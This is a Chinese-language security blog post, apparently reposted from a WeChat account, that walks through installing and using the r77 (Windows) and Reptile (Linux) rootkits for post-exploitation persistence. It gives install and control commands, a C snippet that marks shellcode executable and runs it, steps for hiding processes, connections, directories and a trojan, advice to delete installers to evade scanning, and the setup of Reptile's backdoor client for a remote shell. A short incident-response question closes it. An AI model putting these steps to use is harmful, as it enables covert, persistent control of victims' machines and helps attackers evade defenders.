初探rookit(另一种角度看维权)

admin 2024年2月17日00:17:29评论17 views字数 2244阅读7分28秒阅读模式

rootkit是用于后渗透过程中维持住现有权限的工具,比如现在常用的 linux 维持权限的方法大多用 crontab 和开机自启动,同时使用的大多是msf 或者其它的 tcp 连接来反弹 shell ,这些随便应急排查一下自启动项和网络连接就被发现了,那如果我们在内核层面把进程和tcp隐藏岂不是就不是那么显眼了.于是rootkit成了很好的选择

而且msf的特征已经被标烂了.下面会介绍一款带rootkit的流量加密shell管理工具

windows版r77-rootkit

地址

https://github.com/bytecode77/r77-rootkit

适用范围

初探rookit(另一种角度看维权)

安装

install.exe是把r77注入到所有能注入的进程和启动系统rootkit的,所以安装完可以把程序删了,实现无文件启动

test console是测试r77的功能,比如注入r77或隐藏进程,但功能只有安装r77以后才能用

下载解压以后直接点击install.exe安装就行了

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

页面长这样

演示一下功能

功能如下,以下都能隐藏

文件、目录、连接、命名管道、计划任务;进程;CPU用量;注册表键&值; 服务; TCP&UDP连接

隐藏进程

比如隐藏cs进程

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

点hide这样任务管理器就看不到了

隐藏本地tcp连接

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

隐藏前后

初探rookit(另一种角度看维权)

12t.exe是马子

初探rookit(另一种角度看维权)

再看cmd已经没有了

隐藏目录

初探rookit(另一种角度看维权)

然后就没了

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

剩下功能就不一一讲解了

注意几点

1.r77配置在注册表的位置是HKEY_LOCAL_MACHINESOFTWARE$77config,77安装完后,注册表编辑器被注入rootkit时,这个注册表项是不可见的。想看注册表需要先用 Test Console从regedit中分离rootkit。

2.可以用$+文件名隐藏该文件,当文件名不能更改时,建议使用名称来隐藏进程

3.文件夹有个Install.shellcode,他和install.exe的作用是等价的

初探rookit(另一种角度看维权)

可以用下面代码启动注入

LPBYTE shellCode = ...DWORD oldProtect;VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);((void(*)())shellCode)();

初探rookit(另一种角度看维权)

具体代码看这里

4.r77不过是从进程列表里隐藏了进程,如果受害者打开了进程或者提前知道pid,还是能找到的,比如提前打开了程序在桌面,因为如果完全隐藏key,那r77也没办法读取到

5.HKCU...Run key这样是打不开一个隐藏进程的,因为windows也找不到这个目录

6.r77是注入到各进程,加载与内存实现持久化的,是无文件化的,所以shellcode不会体现在磁盘里,为了避免被扫描到,建议安装运行完把程序删除。

linux版-Reptile

LKM Linux rootkit

项目地址

https://github.com/f0rb1dd3n/Reptile

安装

apt install build-essential libncurses-dev linux-headers-$(uname -r)git clone https://github.com/f0rb1dd3n/Reptile.gitcd Reptilemake config           # or 'make menuconfig' or even 'make defconfig'makemake install

这里建议make config,很多真实情况没法用图形化,这里会有个是否安装后门的选项,如此配置,留个彩蛋

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

或者这样安装./setup.sh install

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

安装完以后会发现主目录多了一个.config隐藏文件

初探rookit(另一种角度看维权)

解释一下这个文件的内容

初探rookit(另一种角度看维权)  初探rookit(另一种角度看维权)

隐藏文件and目录

初探rookit(另一种角度看维权)

查看隐藏文件

初探rookit(另一种角度看维权)

隐藏进程

nohup ping 127.0.0.1 &ps -ef | grep ping | grep -v grep/reptile/reptile_cmd hide 2571ps -ef | grep ping | grep -v grep

初探rookit(另一种角度看维权)

隐藏tcp/udp

/reptile/reptile_cmd conn  IP hide/reptile/reptile_cmd conn ip  show

初探rookit(另一种角度看维权)

Backdoor

来玩点有意思的,reptile可以当作msf来用,和cs msf一样,也是有客户端和服务端的

攻击机准备

安装

./setup.sh client

初探rookit(另一种角度看维权)

cd bin

./client

help

初探rookit(另一种角度看维权)

配置还是上面受害端一样

下面还是攻击机(控制端)

初探rookit(另一种角度看维权)

run,来了

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

如果没上线,记得开放端口,卸载重新安装

卸载

/reptile/reptile_cmd showrmmod reptile_modulerm -rf /reptile /lib/udev/rules.d/57-reptile.rules /lib/udev/reptile

shell演示

初探rookit(另一种角度看维权)

初探rookit(另一种角度看维权)

其他功能例如下载上传不演示喽

最后出个hw常问的场景题

如果应急的时候,找不到外联ip,有什么可能

  1. netstat被替换了(输出结果改了),排查办法-->排查配置文件

  2. 用代理了,排查办法-->排查代理的端口(frp也会有外联端口)

  3. 被上rootkit了,排查办法-->3.1敲一下apt install build-essential(显示已经装过就gg        3.2看一下是否有隐藏目录/reptile(cd进去)    3.3给受害机子发一个tcp上线包(ip 端口 默认token 密码),看看有没有回连,不过一般人都会改密码

原文始发于微信公众号(划水但不摆烂):初探rookit(另一种角度看维权)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月17日00:17:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   初探rookit(另一种角度看维权)http://cn-sec.com/archives/2149673.html

发表评论

匿名网友 填写信息